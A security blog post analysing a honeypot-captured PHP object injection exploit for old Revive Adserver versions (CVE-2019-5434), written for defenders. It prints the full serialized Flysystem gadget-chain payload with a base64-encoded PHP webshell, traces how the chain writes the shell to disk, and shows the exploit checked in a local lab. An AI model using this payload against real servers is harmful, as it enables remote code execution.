Analysis of a PHP object injection exploit for Revive Adserver
Here the other day one of my honeypots caught and quarantined an interesting request. At least I thought it was interesting as I hadn't seen it before. So I decided to explore a bit further.
Before we begin, please note that this post analyzes an exploit for an older version of the Revive Adserver. The vulnerability this exploit targets was fixed more than five years ago. Only versions before 4.2.0 are vulnerable, so unless you are running a severely outdated version you don't need to worry about this exploit will not affect you.
With that out of the way, here's what was captured by the honeypot:
The request as captured by my honeypot above. Server names and IP-addresses have been masked.
It's a POST
request for the /adxmlrpc.php
endpoint, which is just sligtly off from
the usual WordPress /xmlrpc.php
I'm normally seeing.
Anyways, it's a few other things to note in the request:
- The
Content-Type
does not match the actual payload. - The
Host
header is the IP address of the receiving host, instead of it's domain name as you would normally expect. - The payload itself looks interesting.
The two first is probably just trivial bugs in the software on the sender side. Since most server software is pretty lenient about (or don't even check) the value of these headers, it's not too important. It's just one of many signs indicating that this may not a legitimate request.
So let's isolate the payload in the body of the request, and inspect it a bit closer (I have formatted the it somewhat for readability):
openads.spc
remote_addr
8.8.8.8
cookies
a:1:{S:4:"what";O:11:"Pdp\Uri\Url":1:{S:17:"\00Pdp\5CUri\5CUrl\00host";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:55:"plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";S:13:"\00*\00filesystem";O:21:"League\Flysystem\File":2:{S:7:"\00*\00path";S:66:"x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";S:13:"\00*\00filesystem";O:29:"League\Flysystem\MountManager":2:{S:14:"\00*\00filesystems";a:1:{S:1:"x";O:27:"League\Flysystem\Filesystem":2:{S:10:"\00*\00adapter";O:30:"League\Flysystem\Adapter\Local":1:{S:13:"\00*\00pathPrefix";S:0:"";}S:9:"\00*\00config";O:23:"League\Flysystem\Config":1:{S:11:"\00*\00settings";a:1:{S:15:"disable_asserts";b:1;}}}}S:10:"\00*\00plugins";a:1:{S:10:"__toString";O:34:"League\Flysystem\Plugin\ForcedCopy":0:{}}}}}}}
0
dsad
1
0
1
The interesting part is the second parameter, which looks suspiciously like an
array serialized using the PHP serialize
function. Use of this function and
it's counterpart unserialize
is discouraged, and we will soon see why this is
the case. The remaining parameters does not look too interesting in themselves.
They are probably included just to make the code processing the request accept it.
I'll get back to analyzing the serialized array, but for now notice that it seems to reference a number of namespaced classes:
- Pdp\Uri\Url
- League\Flysystem\File
- League\Flysystem\Filesystem
- League\Flysystem\MountManager
- League\Flysystem\Adapter\Local
- League\Flysystem\Config
- League\Flysystem\Plugin\ForcedCopy
Apart from the Url
class, they all belong in the League\Flysystem
namespace, and suggest they are for manipulating files. These classes
needs to be available for successfully deserializing the payload.
There's also a couple of other interesting strings that stand out:
plugins/3rdPartyServers/ox3rdPartyServers/max.class.php
PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==
The first looks like a file system path, possibly a file that already exists or will be created, in the file system of the target of the exploit.
The latter is a bas64 encoded string which decodes to a trivial PHP webshell:
|
<?php );
A rough initial analysis could therefore be that the intent of the request is to infect some software by placing this webshell into it's file structure.
But which software?
The targeted software
Searching a bit around the web, I came accross the Revive Adserver project,
which seems to match. A quick look at the code confirmed that the captured
request seems to target this software, and specifically the openads.spc
XML-RPC handler.
Also its composer.json
file lists jeremykendall/php-domain-parser
(which
contains the Pdp\Uri\Url
class, and league/flysystem
as dependencies for
the project. This ensures that the classes that the payload depend on is available,
so is can be successfully deserialized.
The good news is that this is a known issue that was fixed already in April 2019, and released as part of version 4.2.0 of the Revive Adserver. See their own security advisory, and also CVE-2019-5434.
In other words, nothing to worry about for anyone who keeps their software up to date![1]
We could leave it at that, but I thought it still would be interesting to further analyze the exploit. After all, my honeypot caught an attempt to exploit it, so there may still be unpatched and vulnerable systems out there. Even if that's not the case, the exploit looked intrigueing enough that it could be an interesting excercise to analyze how it works.
The code
To analyze the exploit, I checked out the commit just before the one where they fixed the issue. All the remaining code excerpts will relate to the code as it was at commit 3db7aa06d.
When Revive Adserver receives the openads.spc
XML-RPC request, it is being
processed by a function called OA_Delivery_XmlRpc_SPC
found in
lib/max/Delivery/XML-RPC.php
[2]. There we find the following code:
445 446 447 448 449 450 451 452
The variable $what
is the contents of the second parameter in the XML-RPC
call. In line 450 we see that it indeed will be passed to the unserialize
function if it's not numeric.
We have also determined that all the classes required to unserialize the payload successfully are available, so that means the first condition for the exploit to work is met.
We still need to figure out what it does, though, so let's inspect it a bit closer.
The payload
To make it easier to analyze, I have formatted it a bit, and trimmed away some (to us) irrelevant information:
[
"what" => Pdp\Uri\Url {
$host = League\Flysystem\File {
$path = "plugins/3rdPartyServers/ox3rdPartyServers/max.class.php";
$filesystem = League\Flysystem\File {
$path = "x://data:text/html;base64,PD9waHAgc3lzdGVtKCRfR0VUWyIwIl0pOyA/Pg==";
$filesystem = League\Flysystem\MountManager {
$filesystems = [
"x" => League\Flysystem\Filesystem {
$adapter = League\Flysystem\Adapter\Local {
$pathPrefix = "";
};
$config = League\Flysystem\Config {
$settings = ["disable_asserts" => true];
};
};
];
$plugins = [
"__toString" => League\Flysystem\Plugin\ForcedCopy { }
];
}
}
}
}
]
This makes it a bit clearer:
- The payload is an array with one element indexed as "what", and it contains a Url object that holds a File object.
- The File object has a
$path
and a$filesystem
attribute.- The
$path
holds a string with a path name, while the$filesystem
holds another File object.
- The
- The
$path
of the second file object is a data url with a prefix ofx://
. - The
$filesystem
if the second object is aMountManager
object, that holds an array of file systems. - The
$filesystems
array of theMountManager
object holds aFileSystem
object indexed byx
. - The FileSystem object has an
$adapter
and a$config
attribute. These are probably significant for reading the base64 encoded webshell from the data url, but has not been analyzed in this post. - The
MountManager
also has a$plugins
array holding aForcedCopy
object indexed by__toString
. This satisfies the requirements to successfully unserialize the payload.
Once the payload has been deserialized, there needs to be a way to trigger it.
Triggering the exploit
There's one part of the payload above that stands out:
$plugins = [
"__toString" => League\Flysystem\Plugin\ForcedCopy { }
];
The array index here is suspicious. __toString
is one of the PHP "magic
methods". That is methods that, if defined for a class, PHP will call on
objects of that class in certain situations. The __toString
method will be
called whenever code wants to treat the object as a string.
This array is the contents of the $plugin
member attribute of an object of
the Legue\Flysystem\MountManager
class. Looking at the code for this class we
find somehing interesting:
161 162 163 164 165 166 167
It implements another magic method, __call
. This method is called by PHP
when it is unable to find the function being called in the class for the object
it's being called on. In this case, the MountManager
will pass the method not
found to the invokePluginOnFilesystem
function:
268 269 270 271 272 273 274
This will again call the invokePlugin
method, which is defined in PluggableTrait.php
:
65 66 67 68 69 70 71 72 73
This will try to find a plugin with the name of the method being called, and
invoke the handle
method with the arguments that was passed in the method
call.
In our case, the plugin was named the same as the PHP magic method
__toString
, and it contains an object of type
League\Flysystem\Plugin\ForcedCopy
. The handle
method of this plugin looks
like this:
28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
It take two parameters, a $newpath
and $path
, and will delete the
$newpath
if it exists, before copying the file at $path
to $newpath
.
So for the exploit to work, it needs to be able to trigger the __toString
method on the MountManager
with the correct number and order of arguments.
Uncovering the call chain
The final piece of the puzzle is found in the Pdp\Uri\Url
class. Remember
that the serialized array in the payload contains an object of this class,
which again contains a File object in it's $host
member attribute. The
Pdp\Uri\Url
class implements the __toString
magic method:
116 117 118 133
We see that this again invokes the __toString
method on the object in the
$host
member attribute. In the payload, this is a File object.
The File
class does not implement __toString
, but it extends the
Handler
class which implements the __call
method:
171 172 173 174 175 176 177 178
The first thing this does is to prepend its $path
member attribute to the
array of arguments passed to the original method call. Since the __toString
method was invoked with no arguments, this makes the path of the current File
object the only argument in the array so far.
Then it will try to invoke the method with the expanded argument array on the
object held in it's $filesystem
member attribute. Again, remember that this
was just another File
object, so we end up in the Handler::__call
method
again.
This time the $path
member of the inner File
object is prepended to the
argument array which now already contains the path of the outer File
object.
This means our argument array now looks like this:
Again, the call will be attempted on the $filesystem
member of the current
object, which in this case is the MountManager
object with the plugin we
analyzed previously. The arguments will be assigned from the $arguments
array, so the first file in the array will be copied to the second.
As the first "path" in the array is a data url, the base64 decoded content of the path itself will be read as the contents of the "file", and copied to the second path. Thus it is effectively possible to write arbitrary data to any file accessible to the server software.
So to set off the exploit, the Url::__toString
method needs to be called from
somewhere. This is done a bit further down in the XML-RPC handler we analyced
towards the top of this post. Here it is again, but with a bit more context at
the end:
454 455 456 457 458 459 460 461 462 463 464 467 468 469 470 471 472 473 478
The array is split into it's index (as $varname
) and content (as $zoneid
).
In the call to MAX_adSelect
in line 478, the Pdp\Uri\Url
object (held in
$zoneid
) is appended to a string prefix using the PHP dot operator. This
effectively converts it to a string by invoking the magic method __toString
.
This then triggers the full call chain of the exploit.
Now that we fully understand the exploit, we can try it to verify that it indeed works as expected.
Verifying the exploit
To verify the exploit I spun up a local container with the vulnerable version
of the server using DDEV. Then simulated the XML-RPC call using curl
:
<?xml version="1.0" encoding="ISO-8859-1"?>
<methodResponse>
<params>
<param>
<value><struct>
<member><name>what</name>
<value><struct>
<member><name>html</name>
<value><string><& ;&;& ;&;&;</string></value>
</member>
<member><name>bannerid</name>
<value><string></string></value>
</member>
</struct></value>
</member>
</struct></value>
</param>
</params>
</methodResponse>
Looks promising so far. At least I get a response that seems somewhat sensible. Notice that we can recognize some of the parameters from the XML-RPC cakk in the response.
From the server I check the contents of the file path named in the exploit:
<?php );
Back on the client, we can invoke the webshell by directly accessing the infected path:
uid=1000() ) groups=1000()
If this was a real installation, and the original request that prompted this investigation had been successful. The hackers would now have direct access to the infected server, and could use this access to install further malware, exfiltrate data or perform any other action the web server is authorized to do.
What can we learn from this?
The first thing to learn is of course to avoid using the serialize
and
unserialize
functions in PHP. While they can seem handy for some use cases,
they are too dangerous, and too easy to exploit. There are usually better—and
safer—ways to achieve the intended results. Serializing to and from JSON is
well supported in PHP, and does not have the same risks.
In the fix for this issue, the developers opted for using the
http_build_query
and parse_str
functions instead. Used incorrectly the
parse_str
function also have its issues, but the fixed code uses it
properly with an array to retreive the parsed values.
So while the serialize
/unserialize
functions opens the code for object
injection vulnerabilities, there's a number of things that could have made it
harder to piece together an exploit of this kind.
Revive Adserver (still) uses an old and obsolete version (1.0) of the
League\Flysystem
library.
The mechanism by which this exploit works relies on this version not having any
protections in place to check that a plugin is called via it's intended method
name, and that it liberally allows calling plugins via the __call
magic method.
Overriding magic methods is a powerful way of integrating your classes into PHP, but as this example shows, it can also be a source of security issues. Great care is needed to ensure that your magic method overrides are safe.
Neither the Pdp\Uri\Url
class, nor the League\Flysystem
classes declare the
expected types for their properties. This is another helpful tool that would
have prevented this particular payload to succeed.
The Pdp\Uri\Url
class expects the $host
attribute to be an object of the
type Pdp\Uri\Url\Host
, but instead the payload injects a
League\Flysystem\File
there. Further the File object has another File object
as its $filesystem
attribute, while the code expects it to be a class that
implements the League\Flysystem\FilesystemInterface
. The File class does not.
Using type declarations these type errors would have been detected, and the attempt to unserialize the payload would have failed.
All in all, the lack of safeguards in the dependencies made it relatively easy for the attackers to find the gatdgets they needed to make a payload to exploit the vulnerability in CVE-2019-5434.
Support my work!
If you would like to support my work analyzing exploits and auditing open source projects for vulnerabilities, you can do so by donating any amount you feel like via stripe or Liberapay using the buttons below.
I'm also available for hire!
Send me an email, or contact me on the fediverse, and let me know what I can do for you.
-
I also found traces of a previous (and abandoned?) incarnation of the project called OpenX, which still contains the vulnerable code (but not all the required dependencies). I will not analyze that version any further in this post. ↩
-
The actual code processing the request is found in
www/delivery/axmlrpc.php
which is generated by combining a number of source files and mess with the formatting. It's easier to relate to the actual source file, so that's what I'll do in this post. ↩